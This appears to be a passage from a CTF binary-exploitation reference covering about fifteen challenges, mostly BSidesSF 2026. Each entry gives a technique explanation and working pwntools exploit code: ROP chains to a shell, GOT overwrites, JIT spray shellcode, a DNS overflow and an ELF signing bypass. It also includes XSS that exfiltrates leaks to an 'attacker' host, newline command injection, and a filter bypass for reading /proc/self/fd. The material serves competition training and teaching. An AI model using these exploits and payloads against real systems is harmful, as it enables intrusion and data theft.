# Step 8: Redirect canvas 3 pointer → main's return address on stack
target = unpack(pack(main_ret), endianness='big')
cmd(f'SET 1 2928 0 {hex((target >> 40) & 0xffffff)}'.encode())
cmd(f'SET 1 2929 0 {hex((target >> 16) & 0xffffff)}'.encode())
# Step 9: Write ROP chain via canvas 3 (3 bytes per pixel = per SET)
pop_rdi = libc.address + 0x2d7a2
ret = libc.address + 0x2c495
binsh = next(libc.search(b'/bin/sh\x00'))
payload = flat({0: [pop_rdi, binsh, ret, libc.sym["system"]]})
for i in range(0, len(payload), 3):
block = unpack(payload[i:i+3][::-1].ljust(8, b'\x00')) & 0xffffff
cmd(f'SET 3 {i//3} 0 0x{block:06x}'.encode())
# Step 10: EXIT triggers main() return → ROP chain executes
cmd(b'EXIT')XSS-to-Binary Pwn Bridge
When the binary is behind a web API with admin-only endpoints:
1. Stored XSS via Flask `|safe`: User messages rendered with {{ msg.content | safe }} bypass Jinja autoescaping. Submit <script type="module">...</script> via the public message endpoint 2. Admin bot visits `/admin/messages` from 127.0.0.1 → XSS executes 3. Multi-stage payloads: Each XSS stage calls admin API endpoints via fetch(), exfiltrates leaks to attacker VPS, then the next stage uses computed addresses:
// Stage 1: trigger heap commands, exfiltrate leak
var res = await fetch("/api/canvas/get/1");
var data = await res.json();
await fetch('http://attacker:5000/', {
method: 'POST', mode: 'no-cors',
body: JSON.stringify({"pixels": btoa(JSON.stringify(data.pixels))})
});4. Newline injection for command stacking: The API uses pwntools.sendline() to forward user input to the binary. Injecting \n in a parameter (e.g., "color": "#000000\nEXIT\n") executes multiple binary commands in one request, bypassing the API's EXIT-then-restart logic:
// Inject EXIT without triggering restart, then run shell commands
body: JSON.stringify({"id": 9, "x": 0, "y": 0, "color": "#000000\nEXIT"})
// Subsequent requests inject shell commands:
body: JSON.stringify({"id": 9, "x": 0, "y": 0, "color": "#000000\n./read_flag"})Key insight: The 3-byte RGB pixel value maps naturally to a 24-bit arbitrary write primitive — each SET writes 3 bytes at a controlled offset. Overwriting a canvas's data pointer (via OOB from another canvas) transforms pixel read/write into full arbitrary read/write. The environ → stack leak → ROP chain pipeline converts this into RCE. When the binary sits behind a web API, XSS bridges the network boundary and newline injection through sendline() enables command stacking.
Detection pattern:
- Index computation using signed int multiplication on user-controlled values
- Bounds check using signed comparison (negative values always pass)
- Adjacent heap allocations where metadata/pointers follow data buffers
- Web API that passes user input directly to
process.sendline()without newline sanitization - Flask templates with
|safefilter on user-controlled content
---
atexit PTR_MANGLE Secret Recovery via Arbitrary Read (0x00CTF 2017)
Pattern: glibc's atexit handlers are protected by PTR_MANGLE, which applies XOR secret + ROT17 to function pointers. With an arbitrary read primitive, recover the mangling secret from a known mangled pointer, then forge arbitrary atexit entries for code execution.
PTR_MANGLE internals:
// glibc pointer mangling:
// mangled = ROL17(ptr ^ secret)
// original = ROR17(mangled) ^ secret
// The secret is stored in TLS at a fixed offset from the thread control block
// (fs:[0x30] on x86-64)Recovering the secret:
from pwn import *
def ror17(val, bits=64):
"""Rotate right by 17"""
return ((val >> 17) | (val << (bits - 17))) & ((1 << bits) - 1)
def rol17(val, bits=64):
"""Rotate left by 17"""
return ((val << 17) | (val >> (bits - 17))) & ((1 << bits) - 1)
# Step 1: Read a mangled pointer from the initial atexit list
# The first entry is typically _dl_fini, registered by the dynamic linker
mangled_ptr = arb_read(atexit_list_addr + FUNC_PTR_OFFSET)
# Step 2: If you know the original function address (e.g., _dl_fini):
secret = ror17(mangled_ptr) ^ known_dl_fini_addr
# Step 3: Forge your own mangled pointer to target function
forged = rol17(target_addr ^ secret)
# Step 4: Overwrite atexit entry with forged pointer
arb_write(atexit_list_addr + FUNC_PTR_OFFSET, forged)
# Normal program exit calls the forged handler → code executionFinding `_dl_fini` remotely (without server's ld.so):
# ld.so is loaded immediately after libc in the address space
# Scan forward from end of libc for the ELF header (4KB-aligned)
ld_base = None
scan_addr = libc_end
while True:
page = arb_read(scan_addr, 4)
if page == b'\x7fELF':
ld_base = scan_addr
break
scan_addr += 0x1000 # 4KB page alignment
# Read ld.so's ELF header to find entry point
ehdr = arb_read(ld_base, 0x40)
e_entry = u64(ehdr[0x18:0x20]) # ELF entry point (offset in file)
# _dl_fini is referenced from ld.so's _start via: lea rdx, [rip+X]
# Read the instruction bytes at the entry point to decode the offset
entry_code = arb_read(ld_base + e_entry, 0x20)
# Parse lea rdx, [rip+X] (opcode: 48 8d 15 XX XX XX XX)
lea_offset = entry_code.index(b'\x48\x8d\x15')
rip_offset = u32(entry_code[lea_offset+3:lea_offset+7])
dl_fini = ld_base + e_entry + lea_offset + 7 + rip_offsetKey insight: glibc's PTR_MANGLE uses XOR secret + ROT17. The secret is stored in TLS at a fixed offset from the thread control block. If you can read ANY mangled pointer whose original value is known (like _dl_fini in the initial atexit list), you can recover the secret and forge arbitrary mangled pointers. The initial atexit list always contains _dl_fini as the first registered handler, making it the ideal known-plaintext target.
When to recognize: Challenge provides an arbitrary read primitive and you need code execution via exit handlers. Also applies to any glibc structure using PTR_MANGLE (TLS destructors, __exit_funcs, longjmp buffers). The same XOR+ROT17 scheme protects all of them with the same per-thread secret.
References: 0x00CTF 2017
CTF Pwn - Advanced Exploit Techniques (Part 3)
Table of Contents
- Stack Variable Overlap / Carry Corruption OOB (srdnlenCTF 2026)
- 1-Byte Overflow via 8-bit Loop Counter (srdnlenCTF 2026)
- Game AI Arithmetic Mean OOB Read (BSidesSF 2024)
- Arbitrary Read/Write to Shell via GOT Overwrite (BSidesSF 2026)
- Stack Leak via __environ and memcpy Overflow (BSidesSF 2026)
- JIT Sandbox Escape via Conditional Jump uint16 Truncation (BSidesSF 2026)
- DNS Compression Pointer Stack Overflow with Multi-Question ROP (BSidesSF 2026)
- ELF Code Signing Bypass via Program Header Manipulation (BSidesSF 2026)
- Game Level Format Signed/Unsigned Coordinate Mismatch (BSidesSF 2026)
- File Descriptor Inheritance via Missing O_CLOEXEC (BSidesSF 2026)
- Sign Extension Integer Underflow in Metadata Parsing (BSidesSF 2026)
- ROP Chain Construction with Read-Only Primitive (BSidesSF 2026)
- 4-Byte Shellcode with Timing Side-Channel via Persistent Registers (Google CTF 2017)
- CRC Oracle as Arbitrary Read Primitive (ASIS CTF 2017)
- UTF-8 Case Conversion Buffer Overflow (HITB CTF 2017)
---
Stack Variable Overlap / Carry Corruption OOB (srdnlenCTF 2026)
Pattern (common_offset): Stack variables share storage due to compiler layout. Carry from arithmetic on one variable corrupts an adjacent variable, enabling OOB access.
Vulnerability: index (byte at [rsp+0x49]) and offset (word at [rsp+0x48]) share storage. Incrementing offset by 255 causes a carry that corrupts index from 3 to 4, producing out-of-bounds table access.
Exploit chain: 1. Set index=0, increment offset by 1 to establish baseline 2. Set index=3, increment offset by 255 → carry corrupts index to 4 3. OOB access on table retrieves saved RIP from stack frame 4. Overwrite RIP to trigger read_stdin again, landing on stack gadget 5. Two-stage ROP: leak puts@GOT, compute libc base, then setcontext for code execution
Key insight: When variables of different sizes are packed adjacent on the stack (e.g., byte immediately after word), arithmetic overflow on the smaller-address variable carries into the larger-address variable. This is subtle in disassembly — look for overlapping [rsp+N] accesses with different operand sizes.
Detection: In disassembly, check if two named variables share partially overlapping stack offsets. For example, a word at rsp+0x48 and a byte at rsp+0x49 — the high byte of the word IS the byte variable.
---
1-Byte Overflow via 8-bit Loop Counter (srdnlenCTF 2026)
Pattern (Echo): Custom read_stdin() uses 8-bit loop counter that wraps around, writing 65 bytes to a 64-byte buffer, overflowing into an adjacent size variable.
Progressive leak technique: 1. Trigger 1-byte overflow to increase buffer size from 0x40 to 0x48 2. With enlarged buffer, read further on stack — leak canary and saved rbp 3. Increase size to 0x77 to leak main's libc return address from stack 4. Compute libc base from leaked return address offset 5. Craft final payload: restore canary, set fake rbp, overwrite RIP with one-gadget
One-gadget constraint setup:
from pwn import *
# Stack layout: buffer[rbp-0x50], size[rbp-0x10], canary[rbp-0x08], rbp, ret
# One-gadget needs NULL at [rbp-0x78] and [rbp-0x60]
buf_addr = leaked_rbp - 0x50 # known from leak
fake_rbp = buf_addr + 0x78
payload = b"\x00" * 8 # [fake_rbp - 0x78] = NULL (constraint)
payload += b"A" * 16
payload += b"\x00" * 8 # [fake_rbp - 0x60] = NULL (constraint)
payload = payload.ljust(64, b"A")
payload += p64(0x48) # preserve enlarged size
payload += p64(canary) # restore canary
payload += p64(fake_rbp) # fake rbp satisfying constraints
payload += p64(one_gadget) # libc one-gadgetKey insight: 8-bit counters in read loops cause off-by-one when the buffer size equals the counter's range (64 → wraps after 64, writes byte 65). The 1-byte overflow into a size field creates a progressive information disclosure primitive: each round leaks more stack data, enabling a full exploit chain from a single-byte overflow.
---
---
Game AI Arithmetic Mean OOB Read (BSidesSF 2024)
When a game computes AI moves as the arithmetic mean of player input and previous state, submitting out-of-bounds coordinates produces a controlled OOB access:
// AI "Smartypants" strategy: average of human and last computer move
ai_move.row = (human_move.row + last_computer.row) / 2;
ai_move.col = (human_move.col + last_computer.col) / 2;
// Bounds validation happens AFTER ai_move is computed and usedSubmit extreme values (e.g., row=100000, col=100000) to make the AI compute (100000 + 0) / 2 = 50001, which reads well past the game board allocation into stack/heap memory.
from pwn import *
# Brute-force memory offset to find flag
for offset in range(-6000, 6000, 100):
r = remote(host, port)
r.sendline(str(offset * 2).encode()) # Row (doubled because AI halves)
r.sendline(b'0') # Col
response = r.recvall()
if b'CTF{' in response:
print(f"Flag at offset {offset}: {response}")
break
r.close()Key insight: Input validation that occurs after variable assignment creates a TOCTOU gap. Even if the game rejects the move, the computed AI position may have already been used to access memory. The arithmetic mean serves as a divide-by-2 primitive — submit 2x the desired OOB offset as player input.
---
---
Arbitrary Read/Write to Shell via GOT Overwrite (BSidesSF 2026)
Pattern (readwriteme): Binary provides explicit arbitrary read and arbitrary write primitives (e.g., "read address" and "write address" menu options). No need for complex heap or format string exploits — just use the primitives directly.
Exploit chain: 1. Leak libc: Read a GOT entry (e.g., strtoll@GOT) to get a libc address 2. Calculate `system`: Compute system address from known libc offset 3. Overwrite GOT: Write system address to strtoll@GOT 4. Trigger shell: Next time the binary calls strtoll(user_input), it executes system(user_input) instead — send sh\n
from pwn import *
elf = ELF('./readwriteme')
libc = ELF('./libc.so.6')
p = remote('target', port)
# Step 1: Leak strtoll@GOT
p.sendlineafter(b'> ', b'read')
p.sendlineafter(b'address: ', hex(elf.got['strtoll']).encode())
strtoll_addr = int(p.recvline().strip(), 16)
libc_base = strtoll_addr - libc.sym['strtoll']
# Step 2: Overwrite strtoll@GOT with system
p.sendlineafter(b'> ', b'write')
p.sendlineafter(b'address: ', hex(elf.got['strtoll']).encode())
p.sendlineafter(b'value: ', hex(libc_base + libc.sym['system']).encode())
# Step 3: Next input parsed by strtoll() → system()
p.sendlineafter(b'> ', b'sh')
p.interactive()Why `strtoll` → `system`: Both take a const char * as first argument. When the binary calls strtoll(user_input, ...), the GOT redirect makes it call system(user_input) — the extra arguments are harmlessly ignored.
Key insight: When a binary gives you arbitrary read + write, the fastest path to shell is GOT overwrite. Choose a GOT entry for a function that (a) takes a user-controlled string as its first argument, and (b) is called after you perform the overwrite. strtoll, atoi, puts, and printf are all good candidates depending on the binary's flow.
References: BSidesSF 2026 "readwriteme"
---
Stack Leak via __environ and memcpy Overflow (BSidesSF 2026)
Pattern (readme): Binary provides an arbitrary read primitive (e.g., memcpy(stack_buf, user_addr, user_len)) but NO write primitive. The memcpy overflow itself becomes the write primitive.
Exploit chain: 1. Leak libc: Use the read primitive on a GOT entry to get a libc address 2. Leak stack: Read __environ from libc (contains a stack pointer to the environment variables) 3. Calculate return address location: From the stack leak, compute where the current function's return address is stored 4. Plant ROP payload: Embed p64(ret_gadget) + p64(target_func) inside the command input buffer (the same buffer that fgets reads into) 5. memcpy overflow: Use the memcpy(stack_buf, controlled_addr, large_len) to copy your planted payload over the return address 6. Trigger return: Send EOF to close stdin, causing fgets to return NULL and the function to exit through the overwritten return address
from pwn import *
elf = ELF('./readme')
libc = ELF('./libc.so.6')
p = remote('target', port)
# Step 1: Leak libc via GOT read
p.sendlineafter(b'> ', f'read {hex(elf.got["puts"])}'.encode())
puts_addr = u64(p.recv(8))
libc_base = puts_addr - libc.sym['puts']
# Step 2: Leak stack via __environ
environ_addr = libc_base + libc.sym['__environ']
p.sendlineafter(b'> ', f'read {hex(environ_addr)}'.encode())
stack_addr = u64(p.recv(8))
# Return address is at known offset from __environ
ret_addr_location = stack_addr - OFFSET_TO_RET # Determine via debugging
# Step 3: Plant ROP addresses in the input buffer
# The command buffer is also on the stack at a known offset
ret_gadget = libc_base + GADGET_OFFSET
win_func = elf.sym['win'] # or one_gadget
payload = p64(ret_gadget) + p64(win_func)
# Step 4: memcpy overflow to copy planted payload over return address
# memcpy(dest=stack_buf, src=our_planted_addr, len=enough_to_reach_ret)
p.sendlineafter(b'> ', f'read {hex(planted_addr)} {overflow_len}'.encode())
# Step 5: EOF triggers return through overwritten address
p.shutdown('send')
p.interactive()Why `__environ`: The global variable __environ in libc always points to the process's environment variable array on the stack. Since it's at a fixed libc offset, leaking libc gives you __environ, which gives you a stack address. From there, the offset to any stack frame's return address is deterministic (found via debugging).
Key insight: When you have only a read primitive, look for ways the read itself can be abused as a write. memcpy with user-controlled length overflows the destination buffer, turning a read into a write. The __environ → stack leak → return address chain is a standard technique when you need to find the stack without an info leak from the binary itself.
References: BSidesSF 2026 "readme"
---
---
JIT Sandbox Escape via Conditional Jump uint16 Truncation (BSidesSF 2026)
Pattern (rugdoctor): A "secure JIT sandbox" compiles a simple scripting language to x86-64 machine code in an RWX buffer. The if statement emits a jz with a 32-bit relative offset, but the offset calculation truncates to 16 bits: (uint16_t)code_offset - (uint16_t)if_address - 4. When the code exceeds 65535 bytes, the truncated offset causes the jump to land inside a future instruction's immediate value.
Exploitation steps: 1. Emit ~9370 add instructions inside an if block with condition $b = 0 (always-false branch) 2. The truncated jz offset lands in the middle of an add instruction's 32-bit immediate value 3. The attacker controls the immediate values — embed 2-byte instruction fragments + jmp $+3 (EB 03) to skip past JIT boilerplate bytes between each add 4. Thread a multi-stage shellcode: mmap RWX memory via syscall → copy full shellcode byte-by-byte → call rbx
# Embed 2-byte instruction pairs in add immediates, interleaved with jmp $+3
shellcode_fragments = [
"\x6a\x00", # push 0 -> rdi = NULL (mmap addr)
"\x5f\x90", # pop rdi / nop
"\x6a\x07", # push 7 -> rdx = PROT_RWX
"\x5a\x90", # pop rdx / nop
"\x0f\x05", # syscall -> mmap
]
# Each fragment becomes: fragment_bytes + \xEB\x03 (jmp $+3)
# Packed as 32-bit add immediate: fragment[0:2] + EB 03
adds = shellcode_fragments.map { |frag| "#{frag}\xeb\x03".unpack('V').pop }
# Write shellcode byte-by-byte via mov [rax], imm8 / jmp $+3
SHELLCODE.bytes.each do |byte|
adds << "\xc6\x00#{byte.chr}\xeb".unpack('V').pop # mov byte ptr [rax], byte
endKey insight: The JIT compiler uses uint16_t for offset calculation even though the code buffer can exceed 64KB. The 16-bit truncation creates a "JIT spray" where the attacker controls instruction bytes at predictable positions within the RWX buffer. The jmp $+3 threading technique chains 2-byte instruction fragments separated by 3 bytes of JIT overhead.
When to recognize: Challenge involves a JIT compiler or scripting engine that compiles to native code. Look for integer truncation in jump/branch offset calculations, RWX memory regions, and user-controlled immediate values in generated instructions.
Broader pattern: JIT spraying attacks embed shellcode fragments in instruction immediates (typically add, xor, or mov constants). The misalignment between intended and actual instruction boundaries turns data into executable code. Common in browser JIT engines and CTF sandbox challenges.
References: BSidesSF 2026 "rugdoctor"
---
DNS Compression Pointer Stack Overflow with Multi-Question ROP (BSidesSF 2026)
Pattern (nameme): Custom DNS server has a stack buffer overflow in domain name parsing. DNS compression pointers (0xC0 | offset) allow jumping to arbitrary positions in the packet, and the parser does not track total decompressed length. Carefully crafted pointer chains revisit data multiple times, overflowing a 1024-byte stack buffer.
DNS compression primer:
- Domain names in DNS packets use label+length encoding:
\x03www\x06google\x03com\x00 - Compression pointers: byte starting with
0xC0means "jump to offset in packet" —\xC0\x0Djumps to byte 13 - Pointers can chain: A → B → C, potentially revisiting the same data
Exploitation: 1. Craft 8 DNS questions with carefully sized names 2. Use compression pointers (\xC0\x0D, \xC0\x0E) to chain between questions 3. Parser revisits data, expanding each compression hop, overflowing the 1024-byte dns_question_t.name buffer 4. ROP chain split across 3 question entries (14+14+13 gadgets) due to per-question size limits 5. ROP executes sys_read → sys_open → sys_read → sys_write; flag path sent as second UDP packet
import struct, socket
def encode_question(name_bytes, qtype=1, qclass=1):
return name_bytes + struct.pack('>HH', qtype, qclass)
# Overflow via compression pointer chains
questions = []
# Questions 1-4: fill buffer with controlled data
# Questions 5-8: use compression pointers to trigger re-expansion
# Final question: \xC0\x0D\x36AAAA...\xC0\x0E triggers overflow
# Build DNS packet: header (QDCOUNT=8) + questions
header = struct.pack('>HHHHHH', 0x1337, 0x0100, 8, 0, 0, 0)
packet = header + b''.join(questions)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(packet, (target, 53535))
# Send flag path in second packet after ROP calls sys_read
sock.sendto(b'/home/ctf/flag.txt\x00', (target, 53535))Key insight: DNS compression was designed for efficiency but creates a decompression amplification vulnerability. If the parser doesn't track total output length, compression pointer chains can expand a small packet into an arbitrarily large decompressed name. The multi-question format allows splitting a large ROP chain across multiple entries while keeping each entry within DNS label size limits.
When to recognize: Challenge involves a custom DNS server (not BIND/dnsmasq). Look for domain name parsing functions with fixed-size output buffers and no length tracking during compression pointer resolution.
References: BSidesSF 2026 "nameme"
---
ELF Code Signing Bypass via Program Header Manipulation (BSidesSF 2026)
Pattern (selfsigned): An ELF signing/verification system hashes only section headers and content of sections with the SHF_ALLOC flag. Program headers (which control what the loader actually maps) are not directly covered by the hash. By appending shellcode to the file and modifying program headers to load from the appended data, the signature remains valid.
ELF structure gap:
- Section headers (
.text,.data, etc.): Used by linkers and RE tools; covered by the hash - Program headers (
LOAD,INTERP, etc.): Used by the OS loader to map memory; NOT covered by the hash - The
e_phofffield in the ELF file header (pointing to program header table) doesn't change if you modify entries in place
Exploitation: 1. Download the signed reference binary from the server 2. Page-align the binary length (pad to 4096-byte boundary) 3. Append shellcode at the padded offset, positioned so it maps to the original entrypoint virtual address 4. Modify the code segment's program header: change p_offset to point to the appended data, update p_filesz/p_memsz 5. Section headers remain unchanged → signature still verifies 6. Upload modified binary; server verifies signature (passes) and executes (runs shellcode)
from elftools.elf.elffile import ELFFile
import struct
def fixup_binary(binary_path, shellcode):
with open(binary_path, 'rb') as f:
elf = ELFFile(f)
data = bytearray(f.read())
entry = elf.header.e_entry
orig_len = len(data)
# Pad to page boundary
page_size = 0x1000
padded_len = (orig_len + page_size - 1) & ~(page_size - 1)
data.extend(b'\x00' * (padded_len - orig_len))
# Write shellcode at offset matching entrypoint alignment
sc_offset = padded_len
data.extend(shellcode)
# Find and modify the LOAD segment containing .text
for seg in elf.iter_segments():
if seg.header.p_type == 'PT_LOAD' and seg.header.p_flags & 0x1: # PF_X
# Rewrite this program header entry
new_phdr = seg.header.copy()
new_phdr['p_offset'] = sc_offset
new_phdr['p_filesz'] = len(shellcode)
new_phdr['p_vaddr'] = entry & ~(page_size - 1)
# Write modified phdr back to its position in the file
# ...
return bytes(data)Key insight: Many code signing implementations only hash section-level metadata (section headers + content), not program headers. Since the OS loader uses program headers (not section headers) to map code into memory, an attacker can redirect code loading to attacker-controlled data without invalidating the signature. This is a real-world design flaw found in some embedded and IoT code signing schemes.
When to recognize: Challenge involves ELF binary signing/verification. Check what the hash covers — if it only processes sections (especially SHF_ALLOC sections), program header manipulation bypasses it.
Broader lesson: Secure ELF signing must cover both section AND program headers, or better yet, hash the entire file. Section headers are optional at runtime — a valid ELF can execute with zero sections. Any signing scheme that relies solely on sections is bypassable.
References: BSidesSF 2026 "selfsigned"
---
Game Level Format Signed/Unsigned Coordinate Mismatch (BSidesSF 2026)
Pattern (blockman-builder): A 2D platformer game uses a level editor that parses block placement instructions with signed integer coordinates. The bounds check compares signed values against unsigned dimensions (if (x1 < level_width && y1 < WORLD_H)) — when x1 is negative, the signed-to-unsigned comparison passes because a large unsigned value is less than the unsigned width. This allows writing arbitrary bytes (block IDs) to memory before the level array.
Exploitation steps: 1. Extract source code from binary (embedded in a custom ELF section, found via strings) 2. Enable developer mode (hidden konami-code input sequence) to leak level data stack address 3. Craft level with shellcode bytes encoded as block IDs placed at legitimate positive coordinates 4. Use negative coordinates to overwrite the return address on the stack, pointing to the shellcode in level data 5. Level data is base64+zlib encoded; use pack/unpack scripts
import struct, zlib, base64
# Level format: "clear\n{width}\n{n_entities}\n{entities...}\n{n_blocks}\n{blocks...}"
shellcode = open("shellcode.bin", "rb").read()
leaked_addr = 0x7ffd3de47d70 # From developer mode leak
level_base = leaked_addr # Level data is on the stack
# Place shellcode bytes as block IDs at positive coordinates
lines = ["clear", "128", "0", "0"] # width=128, 0 entities, 0 initial blocks
block_lines = []
# Write shellcode to level array at known offset
for i, byte in enumerate(shellcode):
x = i % 128
y = i // 128
block_lines.append(f"{byte},{x},{y}")
# Overwrite return address with negative Y coordinate
ret_offset = -(0x100) # Offset from level array to saved RIP
# 6-number format: block_id, x1, y1, x2, y2 (rectangle fill)
for i, byte in enumerate(struct.pack("<Q", level_base)):
block_lines.append(f"{byte},{i},{ret_offset}")
lines[3] = str(len(block_lines))
level_data = "\n".join(lines + block_lines)
encoded = base64.b64encode(zlib.compress(level_data.encode())).decode()Key insight: Game level formats that accept coordinates as signed integers but use unsigned comparisons for bounds checking create a classic signed/unsigned confusion vulnerability. The negative coordinate underflows the array index, providing an arbitrary write primitive. Combined with a leaked stack address (from debug/developer features), this turns into reliable code execution.
When to recognize: Custom game/level editors with user-defined coordinates, tile-map formats, or any array-indexed data where coordinates are parsed as signed but compared as unsigned. Developer/debug modes that leak memory addresses are a strong hint.
References: BSidesSF 2026 "blockman-builder"
---
File Descriptor Inheritance via Missing O_CLOEXEC (BSidesSF 2026)
Pattern (inheritance): A service reads a secret into a file descriptor created with memfd_create("secret", 0) (without MFD_CLOEXEC), then calls system() to execute user-supplied commands. The system() function spawns a child process via fork()+exec(), and the child inherits all open file descriptors that lack the O_CLOEXEC flag.
The service blocks certain strings ("proc", "fd", ">", "<") to prevent reading /proc/self/fd/N. Bypass using shell quote insertion: cat /p'r'oc/self/f'd'/4 — the single quotes are transparent to bash but break C-level strstr() checks.
from pwn import *
r = remote("target", 1337)
# Service prints "Loaded config into fd 4" or similar
r.recvuntil(b"fd ")
fd_num = int(r.recvline().strip())
# Bypass strstr() filter with shell quote breaking
# "proc" and "fd" are blocked, but p'r'oc and f'd' are not
payload = f"cat /p'r'oc/self/f'd'/{fd_num}"
r.sendline(payload.encode())
flag = r.recvall()
print(flag.decode())Key insight: memfd_create() without MFD_CLOEXEC (or open() without O_CLOEXEC) leaves file descriptors inheritable across fork()+exec(). Any service that reads secrets into FDs and then spawns child processes is vulnerable. The /proc/self/fd/N path provides access to inherited descriptors. For filter bypass: shell quote splitting (p'r'oc) breaks substring matching in C but bash concatenates the fragments transparently.
When to recognize: Service reads a secret file, then lets you run commands (via system(), popen(), etc.). Check if the FD was opened with O_CLOEXEC. Look for string filters that block keywords — single-quote splitting, backslash escaping (\p\r\o\c), or variable expansion (${PATH:0:1}) can bypass strstr().
References: BSidesSF 2026 "inheritance"
---
Sign Extension Integer Underflow in Metadata Parsing (BSidesSF 2026)
Pattern (if-it-leads): A music metadata parser has a to_int32 function that converts unsigned 32-bit values to signed: n >= 0x80000000 ? n - 0x100000000 : n. When applied to a size/offset field, a large unsigned value becomes a large negative signed integer, causing out-of-bounds memory access during processing. Byte-by-byte iteration reveals memory contents.
from pwn import *
import re
flag = b""
for i in range(64):
# Construct metadata with field value that causes OOB read at offset i
target_val = 0x80000000 + i # Becomes negative after to_int32
payload = craft_metadata(target_val)
r = process(["./parser", payload])
output = r.recvall()
# Extract leaked byte from hexdump or error output
leaked = extract_byte(output)
flag += bytes([leaked])
if b"}" in flag:
break
print(flag.decode())Key insight: Custom to_int32() or manual sign extension functions are a red flag. The conversion n >= 0x80000000 ? n - 0x100000000 : n makes values in [0x80000000, 0xFFFFFFFF] negative, but subsequent code may use the result as an array index or memory offset without re-checking bounds. Incrementally varying the input value leaks memory one byte at a time.
When to recognize: Challenge involves file format parsing (media, archives, protocols) with custom integer conversion. Look for manual sign-extension patterns. The leak is incremental — each query reveals one byte, requiring many iterations.
References: BSidesSF 2026 "if-it-leads"
---
ROP Chain Construction with Read-Only Primitive (BSidesSF 2026)
Pattern (readme): Binary provides only a read() primitive (no write, no secret function). Build a ROP chain by: 1. Use read() to probe the stack and find the buffer-to-return-address offset 2. Leak libc base from GOT entries 3. Scan libc's .rodata and .text sections for byte patterns that match needed ROP gadget addresses 4. Use read(0, stack_addr, N) to place gadget addresses on the stack by reading specific libc offsets that happen to contain the right bytes 5. Chain: open("flag.txt") -> read(fd, buf, size) -> write(1, buf, size)
from pwn import *
elf = ELF('./readme')
libc = ELF('./libc.so.6')
r = remote("target", 1337)
# Step 1: Find offset — fill buffer with pattern, read back from stack
r.sendline(b"read " + p64(stack_addr))
leak = r.recvn(8)
offset = find_pattern_offset(leak)
# Step 2: Leak libc base
r.sendline(b"read " + p64(elf.got['read']))
libc_read = u64(r.recvn(8))
libc_base = libc_read - libc.symbols['read']
# Step 3: Build ORW ROP chain using libc gadgets
pop_rdi = libc_base + find_gadget(libc, "pop rdi; ret")
pop_rsi = libc_base + find_gadget(libc, "pop rsi; ret")
pop_rdx = libc_base + find_gadget(libc, "pop rdx; ret")
rop = flat([
pop_rdi, 0, # fd = stdin for read
# ... read flag path onto stack, then open/read/write chain
])Key insight: A read-only primitive is sufficient for full exploitation. The key realization: libc contains billions of byte patterns across .text, .rodata, .data, and .bss sections. By reading from specific libc offsets, you can "import" arbitrary byte values onto the stack. This eliminates the need for a write primitive — you write to the stack indirectly by reading from addresses whose content matches your desired payload.
When to recognize: Binary has read() but no write() or win function. The read primitive lets you both leak values AND place data on the stack. The challenge becomes finding the right source addresses in libc to read from, not constructing gadgets.
References: BSidesSF 2026 "readme"
---
4-Byte Shellcode with Timing Side-Channel via Persistent Registers (Google CTF 2017)
Pattern: When a binary executes only 4 bytes of user shellcode in a 4096-iteration loop, exploit persistent callee-saved registers (r12-r15) to build complex exploits incrementally.
from pwn import *
# Phase 1: Leak stack address via timing (4096x amplification)
# add r12, [rsp] — accumulate stack value into r12
shellcode = asm("add r12, [rsp]") # 4 bytes
# Timing difference reveals r12 value (large r12 = more loop iterations)
# Phase 2: Write shellcode byte-by-byte to BSS
# mov [r15], r12b — write accumulated byte to target
shellcode = asm("mov [r15], r12b") # 4 bytes
# Phase 3: Stack pivot via 4-byte gadget
shellcode = asm("push rsp; pop rdi; push r15") # exactly 4 bytesKey insight: Callee-saved registers (r12-r15) persist across the 4096 loop iterations and between separate submissions. The 4096x loop amplifies timing differences enough for reliable side-channel measurement, while iterative register operations build complex state from minimal per-round instructions.
When to recognize: Challenge provides a very small shellcode window (4-8 bytes) but executes it in a loop or allows multiple submissions. Check whether callee-saved registers are preserved between iterations.
References: Google CTF 2017
---
CRC Oracle as Arbitrary Read Primitive (ASIS CTF 2017)
Pattern: When a service exposes CRC computation on user-controlled data with a pointer overflow, brute-force single-byte CRC results against a 256-entry lookup table to read arbitrary memory.
from pwn import *
CRCLOOKUP = [crc8(bytes([b])) for b in range(256)] # precompute
def read_byte(addr):
payload = b"A" * 100 + p32(addr) # overflow pointer to target address
crc_result = int(get_crc(1, payload), 16) # CRC of 1 byte at addr
return CRCLOOKUP.index(crc_result) # reverse lookup
def read_dword(addr):
return sum(read_byte(addr + i) << (i * 8) for i in range(4))
# Chain: leak GOT → libc base → __environ → canary → ROP
got_value = read_dword(elf.got['puts'])
libc_base = got_value - libc.sym['puts']
environ = read_dword(libc_base + libc.sym['__environ'])
canary = read_dword(environ - CANARY_OFFSET)Key insight: A CRC function is a bijection on single bytes — each input byte produces a unique CRC. By overflowing a pointer to control the CRC input address and precomputing all 256 single-byte CRCs, each byte of arbitrary memory is recovered via reverse lookup. Chain multiple reads to leak GOT entries, libc base, stack addresses, and canary values.
When to recognize: Service computes a checksum or hash on data at a user-influenced address. If the checksum is bijective on single bytes (CRC-8, simple XOR, etc.), it becomes an arbitrary read oracle.
References: ASIS CTF 2017
---
UTF-8 Case Conversion Buffer Overflow (HITB CTF 2017)
Pattern: g_utf8_strup() (GLib uppercase conversion) can return more bytes than the input when certain multi-byte UTF-8 characters expand during case conversion.
from pwn import *
# \xd6\x87 is a 2-byte UTF-8 char that becomes 4 bytes when uppercased
# 68 such characters: 68 * 2 = 136 input bytes → 68 * 4 = 272 output bytes
# If buffer allocated for input length, output overflows
payload = b"\xd6\x87" * 68 + b"$0;".ljust(8, b" ") + p32(0x400890)Key insight: Unicode case conversion can change the byte length of characters. Certain UTF-8 sequences (like U+0587, Armenian small ligature) expand from 2 bytes to 4 bytes when uppercased. If a buffer is sized based on the input length, the longer output overflows it. This affects any code using GLib's g_utf8_strup()/g_utf8_strdown(), ICU's u_strToUpper(), or similar Unicode-aware case conversion functions.
When to recognize: Binary performs Unicode case conversion (upper/lower) on user input before copying to a fixed-size buffer. Look for GLib, ICU, or custom UTF-8 processing functions. The overflow ratio depends on the specific characters used.
References: HITB CTF 2017
---
See advanced-exploits.md for VM signed comparison, BF JIT shellcode, type confusion, off-by-one index corruption, DNS overflow, ASAN shadow memory, format string with encoding constraints, custom canary preservation, signed integer bypass, CSV injection, MD5 preimage gadgets, VM GC UAF slab reuse, path traversal sanitizer bypass, and FSOP + seccomp bypass.
